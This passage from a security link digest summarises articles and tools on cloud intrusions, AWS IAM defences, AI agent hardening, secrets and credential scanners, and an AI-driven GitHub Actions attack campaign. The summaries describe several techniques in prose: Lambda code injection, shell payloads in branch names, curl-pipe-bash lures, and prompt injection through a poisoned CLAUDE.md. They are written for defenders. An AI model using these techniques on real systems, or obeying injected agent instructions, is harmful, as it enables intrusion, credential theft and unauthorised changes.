    • #4-5: Unicode normalization exploitation (Ryan and Isabella Barnett, ActiveScan++ updates) and SOAPwn: .NET HttpWebClientProtocol proxy and WSDL abuse to RCE (Piotr Bazydło).
    • #6-8: Cross-Site ETag Length Leak (Takeshi Kaneko), Next.js internal cache poisoning (Rachid Allam), XSS-Leak via Chrome connection-pool prioritisation (Salvatore Abello).
    • #9-10: HTTP/2 CONNECT abuse for internal port scanning (flomb) and parser differentials across languages and frameworks (joernchen).
    • Themes: Side-channels became a core exploitation primitive; Kettle speculates vibe-coding may revive older weak coding practices.
    • Also noted: Kettle’s “HTTP/1.1 Must Die” was shortlisted but excluded by his own rules; malformed-chunk desync and SAML auth bypass nominations missed the cut.

    Takeaway: Use the list as a 2026 testing checklist: probe for parser differentials, blind SSTI via errors, ORM filter leaks, redirect-loop SSRF and cache poisoning in your own apps and Next.js deployments.

  • Skill Scanner: Security Scanner for AI Agent Skills
    summary

    TL;DR: Cisco AI Defense’s Skill Scanner is a best-effort open-source scanner that flags prompt injection, data exfiltration and malicious code in AI agent skills before you install them.

    • How it works: Combines YAML and YARA-X signatures, AST and dataflow analysis, an optional LLM-as-a-judge, and a bounded CEL decision layer (cel-go v0.32.0).
    • Formats: Agent Skills spec (OpenAI Codex, Cursor); --lenient also scans Claude Code .claude/commands/*.md and flat markdown skill repos.
    • Numbers: On MaliciousSkillBench held-out split (839 malicious, 545 harmless), rules alone catch 7.7% at HIGH with 4.0% FPR.
    • With LLM judge: Gemma 4 26B on balanced sends 66.7% to review at MEDIUM+ (15.4% FPR) and blocks 33.7% at HIGH (6.4% FPR).
    • Presets: balanced, low-noise and quiet policies trade recall for false positives; a local model keeps everything on the machine.
    • CI/CD: SARIF output for GitHub Code Scanning, reusable GitHub Actions workflow, pre-commit hook, REST API and --fail-on-severity exit codes.
    • Setup: uv tool install cisco-ai-skill-scanner (CPython 3.11-3.14); extras for Bedrock, Gemini, Vertex and Azure OpenAI judges.
    • Limits: No findings does not mean safe; false positives and negatives occur, and the authors say human review remains essential.

    Takeaway: Gate third-party agent skills with skill-scanner scan --use-llm --policy balanced --fail-on-severity high in CI, but treat it as triage, since rules alone miss over 90% of malicious skills.

  • AI-Assisted Cloud Intrusion Achieves Admin Access in 8 Minutes
    summary

    TL;DR: Sysdig documents an apparently LLM-assisted AWS intrusion that went from credentials leaked in a public S3 bucket to admin via Lambda code injection in about 8 minutes, then abused Bedrock and GPUs.

    • Initial access: IAM user keys found in public S3 buckets holding RAG data, named with common AI tool conventions; the user had Lambda read/write plus ReadOnlyAccess.
    • Privilege escalation: Used UpdateFunctionCode and UpdateFunctionConfiguration on EC2-init, which had an admin execution role, to mint access keys for admin user frick.
    • Technique detail: Injected code returned new keys in the function response, with no reverse shell; timeout raised from 3 to 30 seconds; path matches pathfinding.cloud lambda-004.
    • Persistence and spread: Created backdoor-admin with AdministratorAccess; 19 principals, 6 roles over 14 sessions, 5 users taken over; tried OrganizationAccountAccessRole across accounts.
    • AI indicators: Fast, heavily exception-handled code with Serbian comments, hallucinated account IDs, and a nonexistent anthropic/training-scripts GitHub repo.
    • LLMjacking: Confirmed Bedrock invocation logging was off, then invoked Claude, DeepSeek R1, Llama 4 Scout, Nova and Titan models, accepting Marketplace agreements as needed.
    • GPU abuse: p5.48xlarge launches failed on capacity; a p4d.24xlarge ($32.77/hour) ran 5 minutes with public JupyterLab on port 8888 and all TCP ports open.
    • Evasion: IP rotator per request, role chaining across many principals; Sysdig publishes IP and naming IOCs such as stevan-gpu-key.
    • Defenses: Short-lived role credentials, private RAG buckets, restrict Lambda update and PassRole, Lambda versioning, Bedrock invocation logging, SCPs limiting models and instance types.

    Takeaway: Audit who can call lambda:UpdateFunctionCode on functions with privileged roles, enable Bedrock invocation logging, and use SCPs to block unapproved models and GPU instance types.

  • OpenClaw Security Engineer’s Cheat Sheet
    summary

    TL;DR: Semgrep’s cheat sheet for security teams on OpenClaw (Clawdbot/Moltbot), the popular local LLM agent: its risks, how to find it on your fleet, and how to harden or contain it.

    • What it is: An LLM orchestrator (about 160k GitHub stars) whose model output becomes tool calls on the host, likely already on employee laptops.
    • Core risk: Data becomes code; any processed web page, email or document can carry prompt injection, and blast radius grows with connected capabilities.
    • Credentials: Secrets are stored unencrypted in a known location; prompt-injected exfiltration has been publicly demonstrated.
    • Skills supply chain: About 12% of audited ClawHub skills were malicious (386 or 341 of 2,857); 26% of 31,132 ecosystem skills had a vulnerability.
    • Malware tactics: ClickFix lures, typosquatting, reputation washing, gamed popularity, curl | bash, base64 commands and xattr -d com.apple.quarantine.
    • Detection: Look for openclaw/moltbot/clawdbot binaries and npm packages, ~/.openclaw config dirs, gateway port 18789, and domains like clawhub.com.
    • Hardening: Dedicated VM, container sandbox, allowInsecureAuth false, dmPolicy pairing, groupPolicy allowlist, OPENCLAW_DISABLE_BONJOUR=1, run openclaw audit.
    • Extra tooling: Cisco skill-scanner and Clawdex for skills, ClawShield audits, nono kernel sandbox and Trail of Bits devcontainer for isolation.
    • Incident response: Assume every secret the agent could reach is compromised and rotate it; check lateral movement including via Moltbook.

    Takeaway: Sweep endpoints for port 18789 and ~/.openclaw, and block corporate connections until agents run isolated with vetted skills and no crown-jewel credentials.

  • ClawShield: Security Preflight and Guardrails for OpenClaw
    summary

    TL;DR: ClawShield is a small Node CLI that audits OpenClaw/Moltbot configs for risky settings, detects exposed gateways, and fingerprints installed skills to catch tampering.

    • Problem: OpenClaw runs powerful tools, so one config mistake can expose its control panel or let the wrong agent use dangerous tools.
    • Risks checked: Gateway bound to the network without auth, group chats triggering actions without a mention, non-main agents running unsandboxed, skills modified after install.
    • Audit: clawshield audit is read-only and prints PASS/WARN/FAIL items with suggested fixes.
    • Exposure: clawshield exposure flags control-port listeners reachable beyond localhost; on macOS it relies on lsof.
    • Safe profile: clawshield profile safe prints a JSON snippet; apply safe shows a dry-run diff, and --write applies it with a .bak-* backup.
    • Tamper detection: clawshield lock fingerprints installed skills, clawshield verify reports changes or missing files.
    • Monitoring: clawshield watch --interval 30 or a generated LaunchAgent re-checks exposure in the background on macOS.
    • Setup: Install via curl script, Homebrew tap or npm install -g clawshield; reads ~/.openclaw/openclaw.json or OPENCLAW_CONFIG_PATH.
    • Limits: Skill provenance verification, notifications and guided remediation are roadmap items, not shipped features.

    Takeaway: On any machine running OpenClaw, run clawshield audit and clawshield exposure, then clawshield lock after vetting skills, so later supply-chain tampering shows up in verify.

  • clawsec: Complete Security Skill Suite for OpenClaw and NanoClaw Agents
    summary

    TL;DR: ClawSec from Prompt Security is an AGPL collection of security skills and signed advisory feeds for OpenClaw-family agent runtimes, gating risky skill installs and detecting drift.

    • Platforms: OpenClaw, NanoClaw, Hermes and Picoclaw, each with its own skill package.
    • Signed intelligence: Advisory feed and checksum manifest verified via detached Ed25519 signature and pinned key before matching installed skills.
    • Guarded installs: Advisory matches halt installs and need a second explicit confirmation to proceed.
    • Drift detection: Baselines critical files, config, attestations and release artifacts, flagging changes to protected agent files.
    • Packages: clawsec-suite, clawsec-nanoclaw, hermes-attestation-guardian, picoclaw-security-guardian; picoclaw-self-pen-testing is opt-in.
    • Install: npx skills add prompt-security/clawsec --skill clawsec-suite -a openclaw --global -y, then scripts/setup_advisory_hook.mjs.
    • Design: It recommends and gates; destructive removals and overrides stay approval-controlled.
    • Caveats: *-traffic-guardian dirs are specs, not shipped proxies; feed may include advisories without CVE IDs.
    • Config impact: The advisory hook changes persistent OpenClaw config, so review before enabling.

    Takeaway: If you run OpenClaw-style agents, add signed advisory checks and install gating for third-party skills, treating skills as supply-chain artifacts.

  • clawdstrike: Runtime Security Enforcement and Threat Hunting for Autonomous AI Fleets
    summary

    TL;DR: Clawdstrike is a pre-1.0 fail-closed policy engine and EDR that treats AI agent tool calls and kernel events as one event stream, with Ed25519-signed audit receipts.

    • What it is: One engine shipped as Rust crate, TypeScript, Python and Go SDKs, CLI, desktop EDR agent and enterprise control plane.
    • How it works: SDK adapters and OS sensors (macOS Endpoint Security and Network Extension, Linux Tetragon and Hubble) emit canonical events evaluated by a guard stack.
    • Guards: ForbiddenPathGuard, EgressAllowlistGuard, SecretLeakGuard, ShellCommandGuard, McpToolGuard, PromptInjectionGuard, JailbreakGuard and computer-use guards.
    • Enforcement: clawdstrike run --policy clawdstrike:strict -- python my_agent.py checks every tool call; denials raise typed errors and emit signed receipts.
    • Policies: Versioned policy-as-code with built-in rulesets like strict, ai-agent and cicd; remote extends pinned via #sha256=.
    • Policy loop: policy synth builds least-privilege candidates from observed events, policy simulate replays them, policy diff compares against baselines.
    • Verification: Core decision logic specified in Lean 4 (5 properties across 44 of 45 core functions) plus Z3 analysis via clawdstrike verify.
    • Fleet deploy: Helm chart brings up hushd, Spine checkpointer and witness co-signing, and NATS JetStream; keys must be pre-created as Secrets.
    • Caveats: Beta status, defaults may tighten before 1.0; proofs exclude guards beyond core logic, IO, network and crypto primitives.

    Takeaway: Wrap agents in clawdstrike run with the strict ruleset, then use policy synth and simulate on recorded events to build least-privilege policies for CI or developer agents.

  • claude-code-devcontainer: Sandboxed Devcontainer for Running Claude Code in Bypass Mode Safely
    summary

    TL;DR: Trail of Bits devcontainer that runs Claude Code in bypassPermissions mode inside a disposable container, limiting it to the project directory for audits and untrusted repo review.

    • Problem: bypassPermissions on the host lets Claude run any command unconfirmed; the container confines it to /workspace and disposable state.
    • Setup: Needs Docker Desktop, OrbStack or Colima plus @devcontainers/cli; clone to ~/.claude-devcontainer and run install.sh self-install.
    • Commands: devc ., up, down, rebuild, destroy, shell, exec, mount, cp, and sync to copy session logs for /insights.
    • Patterns: Per-project containers for one-off reviews, or a shared workspace with several repos for client engagements.
    • Network: Full egress by default; optional iptables/ipset allowlist for api.anthropic.com, GitHub, npm and PyPI, dropping the rest.
    • Network limits: Per-IP filtering leaks across shared CDNs, DNS stays open, IPv6 is unfiltered, rules vanish on restart.
    • Not protected: Container escape, files planted in shared .git for later host execution, VS Code “Reopen in Container” RPC, rule changes via NET_ADMIN and sudo.
    • Exposure: Forwarded SSH agent lets container code authenticate as you; ~/.gitconfig mounted read-only; Docker socket not mounted.
    • Image: Ubuntu 24.04, Node.js 24, Python 3.13 with uv, user vscode with passwordless sudo.

    Takeaway: Use devc for untrusted repos from the terminal, not VS Code, enable the egress allowlist, and avoid forwarding your SSH agent or mounting $HOME.

  • skills-curated: Curated, Community-Vetted Claude Code Plugin Marketplace
    summary

    TL;DR: Trail of Bits’ public marketplace of Claude Code plugins its staff have code-reviewed, plus an approved-marketplaces list, built because published skills have shipped with backdoors and malicious hooks.

    • Problem: The skills ecosystem has no built-in quality gate, and published skills have been found with backdoors and malicious hooks.
    • Approach: Every plugin is code-reviewed by Trail of Bits staff, who read every line of hooks and scripts before merging.
    • Setup: /plugin marketplace add trailofbits/skills-curated, then pick plugins from /plugin menu.
    • Security plugins: ffuf-web-fuzzing, ghidra-headless, scv-scan (36 Solidity vulnerability classes), security-awareness, and wooyun-legacy from 88,636 WooYun cases.
    • Other plugins: Planning, Python simplifier, React-PDF, research (last30days, x-research), humanizer, and portable skills auto-converted from openai/skills.
    • Approved marketplaces: Includes trailofbits/skills, Anthropic’s official plugin repos, obra/superpowers, ghostsecurity/skills and openai/skills.
    • Process: Request approval for a new marketplace via issue, or submit a single skill by PR with attribution to its source.
    • License: CC BY-SA 4.0.

    Takeaway: Copy the model for your org: restrict agent plugins to an allowlisted, code-reviewed marketplace and require line-by-line review of hooks and scripts before anyone installs a skill.

  • Testing Access to AWS Resources Without Angering the People That Pay the Bills
    summary

    TL;DR: Plerion’s Daniel Grzelak explains how to empirically and safely prove whether an AWS resource (mainly SNS topics) is reachable, without reading data or changing state, and releases sns-buster.

    • Problem: Policy-only checks miss IAM edge cases across resource policies, SCPs, boundaries and conditions, causing false positives that erode trust.
    • Safe test rules: No reading sensitive data, no state changes, fast and repeatable, minimal CloudTrail footprint; resource names and tags may still be sensitive.
    • Unsigned probes: Work for SQS, where public queues accept anonymous calls; SNS returns 403 MissingAuthenticationToken to all unsigned requests, even with "Principal": "*".
    • Metadata and no-ops: Use reads like GetTopicAttributes or DescribeSecret, or no-op writes like UntagResource with a nonexistent key; 200 proves access.
    • Malformed probes: AWS often checks authorization before parameters, so an invalid Publish returns 400 if authorized and 403 if not.
    • 3-topic method: Run each probe against an allowed, a denied and a nonexistent resource; 400/403/403 confirms the probe tests authorization.
    • SNS details: Resource policies reject SNS:*, console defaults add an AWS:SourceAccount condition, and GetTopicAttributes leaks owner account and KMS key ID.
    • Tool: sns-buster tests 14 SNS actions with 30+ parameter mutations each, signed and unsigned, and outputs reproducible evidence.
    • Caveats: Validation ordering is intuition-based and varies per API; “no-op” idempotent writes are not guaranteed safe; get permission before testing others’ resources.

    Takeaway: Before reporting a public SNS or SQS finding, confirm it with metadata reads or validated malformed probes, and run sns-buster --safe against your own topics.

  • Brutus: Fast Zero-Dependency Credential Testing Tool in Go
    summary

    TL;DR: Brutus is Praetorian’s pure-Go, single-binary credential testing tool for 43 network protocols, positioned as a dependency-free, pipeline-friendly alternative to THC Hydra.

    • Problem: Hydra-style tools bring dependency chains and compile issues, and lack native integration with modern recon pipelines.
    • Protocols: 43, including SSH, RDP, MySQL, PostgreSQL, MSSQL, Oracle, Redis, SMB, LDAP, WinRM, SNMP, MQTT and HTTP Basic Auth.
    • Pipelines: Reads JSON or URIs from Nerva, naabu, nmap and masscan, e.g. naabu ... | nerva --json | brutus creds --json.
    • Subcommands: creds, web, snmp, badkeys, enum, template, plus logon, stickykeys and utilman to detect Windows logon-screen backdoors.
    • Bad keys: Ships known compromised SSH keys (Vagrant, F5 BIG-IP, ExaGrid) and supports spraying a found private key across hosts with -k.
    • Enumeration: Account-existence oracles, Kerberos user enumeration, email generation, and Microsoft Teams/Entra ID device code auth.
    • Web panels: brutus web --experimental-ai auto-detects devices and suggests default credentials, or uses -c lists and a default wordlist.
    • Operations: SOCKS5 via --proxy, --mode cautious|default|aggressive, rate limiting, connection pooling, and an importable Go library.

    Takeaway: Run brutus creds and brutus badkeys against your own ranges after deployments to catch default credentials and known SSH keys before attackers do, with written authorization.

  • cmux: Ghostty-Based macOS Terminal with Vertical Tabs for AI Coding Agents
    summary

    TL;DR: cmux is a native macOS terminal built on libghostty for running many AI coding agents at once, with vertical tabs, attention notifications and a fully scriptable CLI/socket API.

    • What it is: Swift/AppKit app (not Electron) that uses libghostty for rendering; not a Ghostty fork, and it reuses your Ghostty config.
    • Notifications: Panes ring and sidebar tabs light up when an agent needs input; driven by OSC 9/99/777 or cmux notify, and ⌘⇧U jumps to newest unread.
    • Sidebar: Each workspace tab shows git branch, linked PR status, working directory, listening ports and latest notification text.
    • Browser pane: Scriptable in-app browser (adapted from agent-browser) lets agents read the accessibility tree, click, fill forms and run JavaScript.
    • Automation: CLI and Unix socket can create workspaces, split panes, send keystrokes, read screen contents and take screenshots; cmux hooks setup wires agent hooks.
    • Remote and teams: cmux ssh opens remote workspaces; cmux claude-teams shows Claude Code teammates as native splits.
    • Session restore: Saves layout, directories, best-effort scrollback and browser history; live processes are not preserved, use opt-in cmux local-tmux or cmux local-zellij.
    • Setup: DMG with Sparkle auto-update, or brew tap manaflow-ai/cmux then brew install --cask cmux.
    • Limits: macOS only; app is GPL-3.0-or-later but server components are BSL 1.1 and need a commercial license for production or self-hosting.

    Takeaway: If you juggle several agent CLIs on a Mac, cmux replaces tmux-style tab hunting with notification-driven panes; keep real long-running work in remote tmux, since local processes do not survive restarts.

  • Upright: Synthetic Monitoring Engine with Playwright and Prometheus Metrics
    summary

    TL;DR: Upright is Basecamp’s self-hosted, multi-site synthetic monitoring Rails engine that runs probes from several locations and exports results as Prometheus metrics for AlertManager alerting.

    • Probe types: Playwright browser flows with video, HTTP status checks, SMTP EHLO, MCP sign-in discovery, and traceroute hop latency.
    • Stack: Rails engine, SQLite, Solid Queue, Mission Control, Kamal deploys, Prometheus, AlertManager and an OpenTelemetry Collector shipping to any OTLP endpoint.
    • How it works: Probes live as YAML or Ruby classes under probes/, scheduled in config/recurring.yml; each site identifies itself via SITE_SUBDOMAIN.
    • Metrics: upright_probe_up, upright_probe_duration_seconds and upright_http_response_status on port 9394, labelled by site code, city and country.
    • Security defaults: Refuses to boot if PROMETHEUS_OTLP_TOKEN or METRICS_READ_TOKEN is missing or both are equal; admin login fails closed without ADMIN_PASSWORD.
    • Trace isolation: Playwright traces open in trace.playwright.dev by default; a viewer under the Upright hostname is rejected to keep trace content off-origin.
    • Pinning: Prometheus pinned to v3.5.5 by digest, citing CVE-2026-40179 stored XSS in 3.0 to 3.5.1 and 3.6 to 3.11.1.
    • Retention: Successful results kept 24 hours, failures 30 days, capped at 20,000 failed results, all configurable.
    • Limits: No built-in notifications or hosting; SMTP probes need outbound port 25 unblocked; Playwright wants about 4 GB RAM; MCP probe is discovery only.

    Takeaway: For a cheap self-hosted alternative to SaaS uptime checks, deploy Upright on a couple of small VPSes with Kamal and route its ProbeDown alerts through your existing AlertManager.

  • Amazon’s Cloud Unit Hit by at Least Two Outages Involving AI Tools
    summary

    (Could not fetch full text.)

    TL;DR: Reuters, citing the Financial Times, reported that AWS suffered at least two outages involving its own AI coding tools, including a 13-hour December incident tied to the Kiro agent.

    • Source note: Reuters page blocked fetching; points below come from secondary coverage of the FT report (Engadget and others).
    • Incident: Engineers let Kiro make changes; it reportedly decided to “delete and recreate the environment”, causing a 13-hour outage in December 2025.
    • Scope: Amazon says only AWS Cost Explorer was affected, in one of its 39 geographic regions, reportedly in mainland China.
    • Amazon’s position: Calls AI involvement a “coincidence” and blames “user error, not AI error”: a misconfigured role gave the engineer broader permissions than expected.
    • Default guardrail: Kiro normally asks for authorization before acting, per Amazon.
    • Second incident: Employees told the FT at least one more disruption involved AI tools; some coverage names Amazon Q Developer, and Amazon calls this claim “entirely false”.
    • Remediation: Amazon added mandatory peer review for production access and more training.
    • Context: Leadership targets 80% weekly AI tool use among developers; a senior employee called the outages “small but entirely foreseeable”.

    Takeaway: Treat agentic coding tools as privileged automation: scope their credentials tightly, require human approval for destructive actions in production, and never let an agent inherit an engineer’s broad role.

  • Locking Down AWS Principal Tags with RCPs and SCPs
    summary

    TL;DR: Aidan Steele shows how to make IAM principal tags trustworthy for SCP exemptions by combining SCPs and RCPs so only a central tagger role can set scp-* tags.

    • Problem: Gating iam:CreateAccessKey, iam:CreateLoginProfile and similar on aws:PrincipalTag/scp-exempt-access-keys fails because account admins can tag their own roles.
    • Second gap: Principal tags can also arrive as session tags from outside the org (SaaS cross-account roles, OIDC, SAML), which SCPs do not cover.
    • SCP step: Deny iam:TagRole, iam:TagUser, untag and iam:CreateRole/iam:CreateUser when aws:TagKeys matches scp-* and aws:PrincipalArn is not the tagger role.
    • RCP step: Deny sts:TagSession for scp-* keys via two statements: caller is not tagger, or aws:ResourceOrgID differs from aws:PrincipalOrgID.
    • Why two statements: Conditions inside one statement are ANDed; separate statements give OR logic, and StringNotEquals on a missing key also blocks org-less accounts.
    • Protect the tagger: Another SCP denies role-mutating IAM actions on role/tagger and role/stacksets-exec-*, except for stacksets-exec-* principals.
    • Deployment: tagger is rolled out everywhere with CloudFormation service-managed StackSets so new accounts get it automatically.
    • Tag design: Prefer a locked-down prefix with one key per exemption over key-value forms like scp-exemption=access-keys.
    • Caveats: Service-linked roles bypass SCPs/RCPs; no test results are given; full ABAC is out of scope; StackSets carry operational pain.

    Takeaway: If your SCP exemptions rely on principal tags, lock down who can set those tag keys with both SCPs and an RCP on sts:TagSession, or the exemption is self-service.

  • AWS Incident Response: IAM Containment That Survives Eventual Consistency
    summary

    TL;DR: OFFENSAI shows attackers with IAM admin rights can detach a containment deny policy during IAM’s roughly 4-second propagation window, and fixes it with an SCP protecting the quarantine policy.

    • Problem: IAM changes take about 4 seconds to propagate, so an active attacker can undo identity-level containment before it applies.
    • Gap in standard playbook: The re:Post credential cleanup procedure attaches deny and session-revocation policies, but an attacker keeping iam:DetachUserPolicy can remove them.
    • Attacker techniques: Poll for new attachments and detach them, delete the policy object, or overwrite it with a permissive version.
    • Fix: SCP IRQuarantinePolicyGuard denies iam:DetachUserPolicy/iam:DetachRolePolicy matched via the iam:PolicyArn condition key, plus iam:DeletePolicy, iam:CreatePolicyVersion and iam:SetDefaultPolicyVersion.
    • Exemption: Only AWSReservedSSO_IR-Engineer_* (via aws:PrincipalArn with ArnNotLike) may modify it; that role is an MFA-enforced Identity Center permission set with SIEM alerting.
    • Result: In testing, the attacker’s monitor got AccessDenied trying to detach IR-QuarantinePolicy and S3 calls failed within seconds; without the SCP the attacker kept access.
    • Alternative: Moving the account to a quarantine OU also works since SCPs apply immediately, but it hits every workload and needs management-account access.
    • Caveats: Needs AWS Organizations; SCPs do not cover the management account; single-environment proof of concept; break-glass role must stay unreachable.

    Takeaway: Pre-deploy a quarantine managed policy and an SCP that makes it undetachable except by a break-glass IR role, so containment is one attach call that attackers cannot race.

  • Semgrep + AI for Infrastructure as Code: Targeted IaC Security Without the Noise
    summary

    TL;DR: A workflow that uses Semgrep to locate security-relevant IaC resources and then feeds only those snippets to an AI reviewer with resource-specific checklists, cutting noise in IaC review.

    • Problem: General AI code reviews focus on app logic and dependencies, so risky IAM roles, S3 buckets and security groups in IaC get missed.
    • Approach: Semgrep finds the “needles” (specific constructs), then AI judges each snippet against a targeted checklist.
    • Coverage: Rules for Pulumi (Python/TypeScript), AWS CDK (TypeScript) and Terraform, e.g. aws_iam_role, aws_s3_bucket, aws_lambda_function, aws_db_instance, aws_kms_key, aws_cloudtrail.
    • Security groups: Extra regex flags open CIDRs 0.0.0.0/0 and ::/0; AI checks sensitive ports 22, 3389, 5432, 3306, 27017.
    • AI checklists: IAM least privilege and wildcard actions, S3 encryption/versioning/public access, Lambda secrets in env vars, RDS public access and backups, KMS kms:*, CloudTrail multi-region and log validation.
    • Workflow: Write rules, run Semgrep, batch findings by resource type, run one AI review per batch, then add Semgrep to CI.
    • Rule tuning: Ask AI whether a Semgrep rule is precise enough to reduce false positives and misses.
    • Limits: No measured results or benchmarks; claimed improvements are asserted, AWS-only, and AI judgments are not validated against ground truth.

    Takeaway: Pair cheap deterministic Semgrep matching with narrow AI prompts per resource type in CI, but test the example rules before relying on them.

  • Titus: High-Performance Secrets Scanner with Live Credential Validation
    summary

    TL;DR: Titus is Praetorian’s Apache-2.0 secrets scanner in Go with 487 rules, live credential validation and risk scoring, available as CLI, Go library, Burp extension and Chrome extension.

    • Rules: 487 detection rules derived from NoseyParker and Kingfisher, covering cloud, code hosts, messaging, databases and CI/CD.
    • Engine: Hyperscan/Vectorscan SIMD regex matching with a pure-Go fallback; compiled databases cached, overridable via TITUS_CACHE_DIR.
    • Validation: --validate checks secrets against provider APIs, marking each confirmed, denied or unknown, with 4 workers by default.
    • Risk scoring: 0 to 100 score and tier from rule metadata, repo accessibility and optional live checks for AWS and GitHub via --score-scope.
    • Targets: Files, git history, GitHub/GitLab orgs and users, and container images from registries, docker save tarballs or OCI layouts without a daemon, including deleted-layer files.
    • Extraction: Recursively unpacks Office docs, PDFs, notebooks, SQLite, email, archives, mobile apps and browser extensions.
    • Output: Console, JSON or SARIF for CI pipelines.
    • Build: make build, make build-pure for no C deps, make build-burp for the Burp JAR.
    • Caveats: Vectorscan needs CGO; validation makes outbound calls that may alert; Chrome extension strips CSP and CORS headers, so enable it only while testing.

    Takeaway: Use Titus with --validate and SARIF output in CI or on container images to prioritise live leaked credentials, but keep validation off where outbound calls to providers are unwanted.

  • Shannon: Autonomous White-Box AI Pentester for Web Applications and APIs
    summary

    TL;DR: Shannon is Keygraph’s AGPL-3.0 autonomous AI pentester for web apps and APIs that combines source analysis with live exploitation and only reports vulnerabilities it can prove.

    • Core rule: “No exploit, no report”: candidates without a working proof of concept are discarded.
    • Pipeline: Recon, agentic code analysis of trust boundaries and data flows, finding reconciliation, exploitation agents with browser automation and CLI tools, then validation.
    • Vuln classes: OWASP-focused: injection, XSS, SSRF, broken authentication and broken authorization.
    • Isolation: Each scan runs in an ephemeral Docker container with the repo mounted read-only; scans are resumable and support login flows, TOTP and email auth.
    • Output: PDF and Markdown reports with evidence, plus JSON and SARIF 2.1.0; GitHub Actions and GitLab CI gates count only status: exploited findings.
    • Setup: npx @keygraph/shannon@latest setup, then start -u <url> -r <repo-path>; needs Docker, Node.js 18+ and your own model key.
    • Models: Anthropic, OpenAI, xAI, Bedrock and local Ollama/vLLM/LM Studio; Claude Code subscriptions only work on version 1.9.0.
    • Cost: Tool is free; a full run takes about 1 to 1.5 hours plus your model spend.
    • Warnings: Executes real exploits that change app state; use only on authorised staging targets, never production or untrusted codebases due to prompt injection risk.

    Takeaway: Run Shannon against a disposable staging copy as a release-cadence pentest gate, and keep humans reviewing its reports since LLM findings can be wrong.

  • The AWS Console and Terraform Security Gap
    summary

    TL;DR: Include Security shows AWS resources created via Terraform often get weaker legacy API defaults than the same resources made in the Console, silently producing less secure infrastructure.

    • Root cause: Terraform’s AWS provider uses the SDK, which keeps legacy defaults for backward compatibility; Terraform cannot change defaults without breaking idempotency.
    • RDS: aws_db_instance without storage_encrypted = true is unencrypted, including snapshots; fixing requires restoring into a new encrypted instance.
    • Lambda: aws_lambda_permission for apigateway.amazonaws.com without source_arn lets any API Gateway in the region, even cross-account, invoke it (confused deputy).
    • IAM password policy: Setting only minimum_password_length replaces the policy and defaults other requirements to false, hidden as “known after apply”.
    • Counterexample: S3 now defaults to public access block and SSE-S3, though versioning, MFA delete and logging stay optional.
    • Detection: Trivy, Checkov, Terrascan and Semgrep catch these but add false positives and overstated severity.
    • Prevention: OPA or Sentinel policy as code, SCPs like denying rds:CreateDBInstance when rds:StorageEncrypted is false, and hardened golden modules.
    • Supply chain: After Trivy’s repo was compromised twice, pin GitHub Actions to commit SHAs.
    • Caveats: Tested on AWS provider v6.28.0; static tools miss context-dependent IAM logic.

    Takeaway: Never assume Console defaults in Terraform; set security arguments explicitly, enforce them with scanners plus SCPs, and ship golden modules for RDS, Lambda permissions and IAM policies.

  • hackerbot-claw: An AI-Powered Bot Actively Exploiting GitHub Actions
    summary

    TL;DR: StepSecurity analyses hackerbot-claw, an AI-driven account that exploited GitHub Actions misconfigurations in major repos over about 10 days, fully compromising Aqua Security’s Trivy repository.

    • Actor: Account created 20 February 2026, self-described as an “autonomous security research agent powered by claude-opus-4-5”, active roughly 21 February to 2 March.
    • Targets: awesome-go, CNCF akri, microsoft/ai-discovery-agent, DataDog/datadog-iac-scanner, ambient-code/platform, aquasecurity/trivy and RustPython; 12+ PRs opened.
    • Pwn Request: pull_request_target workflows checking out fork code with secrets; awesome-go leaked a GITHUB_TOKEN with contents: write.
    • Injection: Shell payloads in branch names and Base64-encoded filenames executed via unescaped GitHub expressions in run: blocks; akri ran a modified version.sh from a /version minor comment.
    • Trivy impact: Stolen PAT used 19 minutes later to vandalise the README, make the repo private, delete releases v0.27.0 to v0.69.1 and push a suspicious Open VSX extension.
    • AI prompt injection: A poisoned CLAUDE.md tried to make Claude Code commit and fake approval; Claude refused both attempts.
    • Common weaknesses: Missing author_association checks, allowed_non_write_users: '*' in Claude workflows, broad token permissions.
    • Fixes: Egress allowlists on runners, no untrusted checkout under pull_request_target, pass untrusted values via env vars, least-privilege GITHUB_TOKEN, CODEOWNERS on AI config files.
    • Caveats: Vendor post promoting Harden-Runner; its own counts of compromised targets vary between 4 and 6.

    Takeaway: Audit your workflows today for pull_request_target with head checkout, expression interpolation in run:, and comment triggers without author checks, and restrict runner egress.

01.02.2026

  • RTK: CLI Proxy That Reduces LLM Token Consumption by 60-90% on Dev Commands
    summary

    TL;DR: RTK is a single Rust binary CLI proxy that filters and compresses shell command output before AI coding agents read it, claiming 60 to 90% fewer tokens on common dev commands.

    • How it works: An agent hook rewrites commands, e.g. git status to rtk git status, so the agent gets compact output transparently.
    • Strategies: Smart filtering of boilerplate, grouping similar items, truncation, and deduplicating repeated log lines with counts.
    • Overhead: Under 10ms per command, per the README.
    • Coverage: 100+ commands including git, cargo test, pytest, go test, docker ps, Kubernetes, AWS, Terraform and many JS toolchains.
    • Setup: brew install rtk or winget install rtk-ai.rtk, then rtk init -g for Claude Code; flags exist for Gemini, Codex, Cursor and 18 tools total.
    • Analytics: rtk gain shows savings; rtk discover finds missed opportunities; rtk bypass <cmd> runs unfiltered.
    • Number caveats: Savings measure bash output only and use bytes/4 token estimates, so real bill savings are smaller.
    • Limits: Hook fires only on Bash tool calls, not built-in Read, Grep or Glob; a different crates.io project shares the rtk name.
    • Licensing: rtk is Apache-2.0 plus BUSL-1.1, rtk-oss is Apache-2.0 only; telemetry is off by default.

    Takeaway: Install RTK with rtk init -g to trim noisy test, git and infra CLI output in agent sessions, then verify with rtk gain that the correct rtk binary is active.

  • Caveman: Claude Code Skill That Cuts 65% of Tokens by Talking Like Caveman
    summary

    TL;DR: Caveman is an Apache-2.0 plugin for coding agents that makes replies terse and compresses tool input while keeping code exact, measuring 33.2% fewer session input tokens.

    • Say less: Short direct replies; code, commands, paths and errors stay verbatim; security warnings and irreversible actions get full sentences.
    • Read less: Compresses logs, JSON, CSV, YAML and test output before the model reads them, leaving originals on disk.
    • Modes: /caveman, /ultracave and /megacave (Chinese output), plus /caveman-commit, /caveman-review and /caveman-compress.
    • Numbers: 33.2% fewer input tokens across 54 Claude Code runs with 18 of 18 answers correct; HTML got 9.9% worse with no compressor yet.
    • Output benchmark: Ten dev questions dropped from 6,983 output tokens with no instruction to 4,119 with /caveman and 2,693 with /ultracave.
    • Newer pieces: Auto model/effort routing (requires sign-in), pre-release Python-only Blocks script reuse, and compressed web Browse.
    • Install: npx @caveman-ai/cli@latest (Node.js 22.13+) or claude plugin marketplace add JuliusBrussee/caveman; supports Claude Code, Codex, Gemini CLI, OpenCode, Aider and more.
